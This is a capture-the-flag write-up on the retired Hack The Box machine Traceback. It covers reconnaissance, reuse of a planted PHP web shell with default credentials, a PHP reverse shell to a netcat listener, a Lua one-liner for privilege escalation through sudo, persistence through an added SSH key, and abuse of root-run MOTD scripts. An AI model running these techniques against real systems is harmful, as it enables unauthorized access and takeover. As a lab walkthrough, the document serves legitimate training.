Writeup: Hackthebox Traceback Machine

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Traceback, is retired.

Machine Info


Sauna graph

2. Preparation

I have prepared some useful variables:

export IP=

3. Scanning and Reconnaissance

At the beginning I used nmap to identify open ports:

t4wny0wl@whitehatlab$ nmap -A $IP -T3 -oN 01.nmap.txt -Pn
Nmap scan report for
Host is up (0.48s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), Linux 3.18 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
1   226.00 ms
2   224.00 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 12 15:37:49 2020 -- 1 IP address (1 host up) scanned in 94.58 seconds

One of the open ports was 80 where the http service was running. So I started gobuster tool to identify interesting resources:

t4wny0wl@whitehatlab$ /opt/gobuster/gobuster dir -u $IP --wordlist=/usr/share/wordlists/directory-list-2.3-medium.txt | tee 02.gobuster.txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/06/13 20:37:55 Starting gobuster
/server-status (Status: 403)
2020/06/13 21:14:31 Finished

While waiting for the gobuster results, I ran the nikto to identify known vulnerabilities:

t4wny0wl@whitehatlab$ nikto -h $IP -nossl
- Nikto v2.1.5
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2020-06-13 19:33:20 (GMT2)
+ Server: Apache/2.4.29 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x459 0x5911796d5b788
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6545 items checked: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2020-06-13 19:45:32 (GMT2) (732 seconds)
+ 1 host(s) tested

Unfortunately, the results of scanning with gobuster and nikto did not provide any relevant information. While waiting for the results of these scans, I had a bit of time to look at the source of the page:

WebPage Source

I found an interesting fragment here:

<!--Some of the best web shells that you might need ;)-->

What are the “best webshells”? I searched for the comment I found in the Google search engine. The first result was the WebShells repository belonging to the Xh4H user. The same comment could be found in the description of this repository.

So I built a simple dictionary containing the Xh4H user webshell names. Then I ran the gobuster again to reveal the existing webshell:

$ /opt/gobuster/gobuster dir -u $IP -w ./04.wordlist-shells.txt | tee 05.gobuster.txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       ./04.wordlist-shells.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/06/13 22:57:48 Starting gobuster
/smevk.php (Status: 200)
2020/06/13 22:57:49 Finished

So there was an instance of the SmEvK webshell on the server.

4. Gaining Access

I visited and logged in with the default username and password (admin: admin). I accessed the backdoor panel as pictured below.

Smevk Shell

5. Maintaining Access

In order to maintain access to the system, I have prepared my own webshell:

$ cp /usr/share/webshells/php/php-reverse-shell.php ./

In the file php-reverse-shell.php I initialized the variables $ip and $port:

$ip = '';  // CHANGE THIS
$port = 4444;       // CHANGE THIS

Then I uploaded the php-reverse-shell.php file to the server using the SmEvK panel available at

On the attacker’s machine I prepared a netcat:

$ nc -nvlp 4444

and visited to establish a connection.

I gained access to the shell …

Web shell connected

and upgraded it:

$ SHELL=/bin/bash script -q /dev/null

6. Privilege Escalation: webadmin ⇨ sysadmin

I tried to list the allowed and forbidden commands for the webadmin user:

webadmin@traceback:/$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass,

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

So I had access to the Lua interpreter (luvit). I went to gtfobins and looked for a way to use it to elevate privileges. So I created and saved a simple script on the target machine:

webadmin@traceback:/$ echo 'os.execute("/bin/sh")' > /dev/shm/lua-shell.lua

So I just had to execute the script…

webadmin@traceback:/$ sudo -u sysadmin /home/sysadmin/luvit /dev/shm/lua-shell.lua
<ysadmin /home/sysadmin/luvit /dev/shm/lua-shell.lua

… and as per common practice do a shell upgrade.

SHELL=/bin/bash script -q /dev/null
stty raw -echo

In the user directory, I could find and read the flag file:

sysadmin@traceback:/$ cat ~/user.txt

7. Privilege Escalation: sysadmin ⇨ root

In order to ensure convenient access to machines acquired, I added my public key to the file ```/home/sysadmin/.ssh/authorized_keys``

echo '<public key>' >> /home/sysadmin/.ssh/authorized_keys

The commands sudo -l and find / -perm /4000 2>/dev/null did not provide any useful information. So I tried to send the script linpeas.sh to the target machine:

t4wny0wl@whitehatlab$ cp /opt/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh ./
t4wny0wl@whitehatlab$ scp ./linpeas.sh sysadmin@$IP:/home/sysadmin/linpeas.sh

I connected to the server via ssh:

t4wny0wl@whitehatlab$ ssh sysadmin@$IP
$ SHELL=/bin/bash script -q /dev/null

Then, on the attacked machine, I ran the linpeas.sh script:

$ cd /home/sysadmin/
$ chmod +x linpeas.sh
$ ./linpeas.sh | tee linout.txt

Unfortunately, I did not find anything that would catch my eye on the standard output.

So I looked at the list of processes:

$ ps aux

I found an interesting entry informing about the existence of a shell process that was executing a script with root privileges to restore files unknown to me in the directory /etc/update-motd.d/

root      21477  0.0  0.0   4628   880 ?        Ss   15:58   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/

I made the assumption that if someone refreshes the existence of these files, they are at least essential or even critical from some point of view. So I checked the linpeas.sh script standard output again:

$ cat /dev/shm/linout.txt | grep update-motd
-rwxr-xr-x 1 root root 4264 Aug 25  2019 /var/backups/.update-motd.d/50-motd-news
-rwxr-xr-x 1 root root 982 Aug 27  2019 /var/backups/.update-motd.d/10-help-text
-rwxr-xr-x 1 root root 299 Aug 25  2019 /var/backups/.update-motd.d/91-release-upgrade
-rwxr-xr-x 1 root root 981 Aug 25  2019 /var/backups/.update-motd.d/00-header
-rwxr-xr-x 1 root root 604 Aug 25  2019 /var/backups/.update-motd.d/80-esm

There was a suspicion that I might add something to one of the files in /etc/update-motd.d/

But what were these files for? These were the Message of the Day scripts:

sysadmin@traceback:~$ cat /etc/update-motd.d/00-header 
#    00-header - create the header of the MOTD
#    Copyright (C) 2009-2010 Canonical Ltd.
#    Authors: Dustin Kirkland <kirkland@canonical.com>
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    GNU General Public License for more details.
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release

echo "\nWelcome to Xh4H land \n"

I found interesting information in documentation. There is a fragment there:

Executable scripts in /etc/update-motd.d/* are executed by pam_motd(8) 
as the root user at each  login(...).

So there was a thought that I could probably run one of the scripts as root while authenticating with ssh. I also had to remember that the files in the directory /etc/update-motd.d/ are restored every 30 seconds.

I prepared three shell windows:

And then I hit the Enter key in the ignition shell. At this point, a connection has been established in the ‘root’ shell.

I gained root privileges and did a shell upgrade:

SHELL=/bin/bash script -q /dev/null
stty raw -echo

So I had to look for the flag that was under the path /root/root.txt

root@traceback:/# cat /root/root.txt 

8. Summary

The following circumstances led to the capture of the flags: